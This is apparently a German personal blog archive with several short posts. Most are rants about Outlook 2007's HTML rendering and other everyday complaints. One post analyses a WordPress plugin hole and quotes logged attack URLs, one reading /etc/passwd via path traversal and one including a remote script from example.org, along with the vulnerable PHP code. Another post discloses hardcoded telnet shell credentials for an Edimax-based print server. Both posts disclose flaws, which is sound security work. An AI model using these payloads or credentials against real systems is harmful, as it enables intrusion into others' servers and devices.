Ein bisschen wütend entspannte ich mich zunächst bei einigen Folgen AVGN und schmiedete Rachepläne an Microsoft, die allerdings alle verworfen werden mussten.

Nach einem weiteren Stückchen Recherce fand ich dann den Blogeintrag eines Leidensgenossen. Okay, dann drucke ich eben mal die Doku aus… moment, 32 Seiten?! Das will ich selbst meinem Laserdrucker nicht antun. Also schnell eine Calc-Tabelle (PDF-Download) in unleserlich kleiner Schriftart erstellt, wunderbar zum neben-die-Tastatur legen. Zusätzlich zu dieser Tabelle empfiehlt es sich noch, die Definitionen von CORE, COREEXTENDED und FULL aus dem MSDN-Artikel auszudrucken.

Also, Stylesheet durchgehen. Sieht soweit ganz gut aus. Ändere die Schriftarten mal von relativer (em) Größe in absolute (px) Größe… keine Veränderung.

Später findet sich dann die Lösung: Dieser Dreck an Dokumentation verschweigt, dass Word seltsames Verhalten zeigt, sobald irgendwo margin: auto eingesetzt wird. In diesem Falle war das bei einem <table>-Element… wir sehen in die Tabelle… Support “FULL”, das heißt das CSS-Attribut margin wird unterstützt. Toll! Es wird eben nicht vollständig unterstützt! Wieso – verdammt nochmal – erstelle ich so eine sch… Tabelle, wenn sie sowieso unvollständig ist?! Und wieso muss ich eigentlich den HTML-Standard derartig missbrauchen und mit diversen Einschränkungen versehen?! WIESO?!

Ich finde, das ist ein ausgezeichnetes Beispiel für das Interesse Microsofts an irgendwelchen Standards und an Interoperabilität von verschiedenen Systemen: es ist absolut bei null! Anscheinend wurde diese Änderung vorgenommen, um im Bearbeitungs- und Darstellungsmodus von Outlook die gleiche Rendering-Engine zu haben. Ja, richtig. In Outlook 2003 ist Word für den Bearbeitungsmodus und der Internet Explorer für den Darstellungsmodus zuständig. Im 2007er übernimmt Word die Rolle der Internet Explorers. Für mich ist das nur eine Ausrede: ob ich nun einen Darstellungsmodus in Word implementiere oder einen Bearbeitungsmodus im Internet Explorer, sollte sich vom Aufwand her nicht unterscheiden. Und selbst wenn: Durch den Word-Renderer werden zahlreiche Mails nicht mehr korrekt dargestellt. Wieso also?!

Fazit: Schade, dass mein Auftraggeber schon auf Office 2007 umgestellt hat, sonst hätte ich das Problem ignorieren können. Und: gar nie niemals nüscht margin: auto in HTML-Mails nutzen, die in Outlook 2007 dargestellt werden sollen.

Und diese Rendering-Engine hat es in sich: Allein der Vergleich der unterstützten CSS-Eigenschaften zeigt es ganz deutlich:

Ja genau. Von 85% unterstütze Eigenschaften in Outlook 2003 nach 42% (ein Zeichen!?) in Outlook 2007. Das nenne ich mal einen Fortschritt! Was zur Hölle haben die sich dabei eigentlich gedacht?!

Meine schöne CSS-basierte HTML-Mail, die in Outlook 2003, Outlook Express und Thunderbird wunderbar angezeigt wurde, sieht in Outlook 2007 aus wie Kraut und Rüben! Nur noch Farbangaben, Schriftformatierungen und einige wenige Layout-Eigenschaften kennt Outlook 2007. Wie soll ich bitteschön ohne float mein Bildchen im Fließtext positionieren?!

Okay, Google brachte schließlich einen Golem-Artikel zu Tage:

Microsoft hat die Outlook 2007 zugrunde liegende Rendering-Engine gewechselt: Statt den aktuellen und bei der Darstellung von Cascading Stylesheet deutlich verbesserten Internet Explorer 7 zu nutzen, setzt Outlook 2007 die Rendering-Engine von Word 2007 ein.

Moment. Word 2007? HTML-Rendering? Wo kommen plötzlich die Alarmglocken her, die da in meinem Kopf läuten? Achja daher.

Also mein schönes CSS-Layout in die Tonne getreten und ein Tabellenbasiertes draus gemacht (ausgestorbene Kunst ). Voller Stolz betrachtete ich die erste Kostprobe in meiner Outlook-2007-Demo im Windows 7 RC (glaubt ihr im Ernst, dass ich nach der Geschichte noch etwas von dieser Firma kaufen werde?!).

Doch was zum…?

Dieses Bild – nein, dieser Haufen Müll – zeigte sich mir nach einigem Hin- und Herscrollen. Entschuldigung? Wieso taucht “Nochmehrtest” hier dreimal auf? Einmal ganz, allerdings auf falscher Hintergrundfarbe, einmal oben und unten abgeschnitten und auf falscher Hintergrundfarbe und einmal oben abgeschnitten auf richtiger Hintergrundfarbe. Und was soll eigentlich dieser Haufen Striche irgendwo über dem Link “weitere Infos” darstellen? Text?! Achja, ehe ich es vergesse, dieses Stüchen am rechten Rand soll ein Foto darstellen.

Ach übrigens, ein IE5.5 rendert das so:

Wie ich das jetzt löse, weiß ich noch nicht. Ich hasse diese Firma.

Update: Sorry, Grafiken in diesem Beitrag waren mit SSL-URLs eingebunden. Wird nicht wieder vorkommen.

Zuerst wurde der URL /wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/passwd%00 aufgerufen, später dann auch /wp-content/plugins/wp-lytebox/main.php?pg=http://example.org/deingefaehrlichesskript.txt?. Sieht man sich die Datei main.php genauer an, wird man schnell feststellen, dass sie eigentlich ziemlich überhaupt nichts mit wp-lytebox zu tun hat – und trotzdem befindet sie sich im Archiv, das man auf der Homepage von wp-lytebox herunterladen kann. Diese Datei ist an für sich nichts besonderes, außer dem Sicherheitsloch, das sie aufweist (Zeile 95 bis 103):

<?php
$pg = $_GET['pg'];
 
if(!isset($pg)) {
include("pages/main.txt");
} elseif(isset($pg)) {
include("pages/".$pg.".txt");
}
?>

Okay, hier wird also wieder mal ungeprüft die aus $_GET stammende Variable $pg in include() übernommen. Was hat das aber mit wp-lytebox zu tun? Es scheint, als sei die Datei aus Versehen in das Archiv von wp-lytebox gelangt. Füttert man Google mit dem Inhalt des <title>-Tags der Webseite, findet man tatsächlich eine Webseite, die die selbe Sicherheitslücke aufweist.

Die Sicherheitslücke wird offenbar bereits automatisiert ausgenutzt, sodass ich allen Nutzern von wp-lytebox nur empfehlen kann, zumindest die main.php zu löschen.

Okay, keine weiteren Fragen. oO

Sehr geehrter Kunde, sehr geehrte Kundin,
leider konnte ich heute Ihre Zeitschrift XY aufgrund von Lieferschwierigkeiten nicht zustellen. Sie die Zeitschrift am Freitag.

Ja, das “Sie die Zeitschrift am Freitag” stand original auf den Zetteln. Wieso fällt mir so etwas immer erst auf, nachdem ich es verteilt habe?!

Dem Printserver lag zwar ein “GPL-Statement” bei, von Linux-Sourcen war auf die Schnelle leider nix auf der Logilink-Webseite zu sehen. Da ich Logilink aber bereits ein bisschen besser kenne, habe ich gleich mal bei Edimax auf der Homepage vorbeigeschaut. Und – siehe da – ein ziemlich baugleiches Modell findet sich auch in diesem Sortiment, allerdings mit Source-Download. Nach einem kurzen Vergleich der Dateien im WWW-Root stand fest, dass die Printserver mit der ziemlich gleichen Firmware laufen.

Nach der Analyse der Sourcen war klar, dass der Standard-Telnetzugang im Wesentlichen aus einem normalen Telnetd und einem Binary (/bin/setup), dass als stark eingeschränkte Shell fungiert, besteht.

Das Binary konnte ich schließlich aus der Firmware extrahieren und der Hexeditor brachte interessantes zu Tage: Mit dem User “edimax” und dem Passwort “software01″ kriegt man per Telnet wunderbaren Shell-Zugriff.

Hat jemand mit solcher RTL8181-basierter Hardware Erfahrungen? Kann man da ein OpenWRT zum Laufen kriegen?

Ein Kabel hat so etwas natürlich nicht. Beim Rumfummeln am Rechner ist das rausgefallen und der Rechner hat sich über eine im RAID5-Verbund fehlende Platte beschwert.

Was lernen wir daraus? Nie, aber auch gar nie wieder SATA-Kabel ohne Sicherungsclip kaufen.

Why such a tight release schedule? Version 1.9.2.6 automatically and permanently removes the cotroversial NoScript Development Support Filterset deployed with NoScript 1.9.2.4. I sincerely apologize with those ABP users who missed the information about it given on the AMO install page, on this site’s install page, on this very release note page and in the FAQ. Not including a prompt asking for permission beforehand from the start has been a very bad omission, and I want all the ABP users who felt betrayed to know how much I’m sorry for that. As a sign of good will, current NoScript 1.9.2.6 completely removes the filterset itself, if found there, on startup with no questions asked. Thanks for your patience.
– Giorgio

Ich glaubs ja nicht, da führt sich eine meiner Ansicht nach sehr gute und sinnvolle Erweiterung auf, als dürfe sie alles bestimmen. Irgendwie ein riesiger Vertrauensverlust gegenüber des blauen “S” in meiner Firefox-Statuszeile.

Dazu auch ein Adblock Plus-Blogeintrag.

gefunden.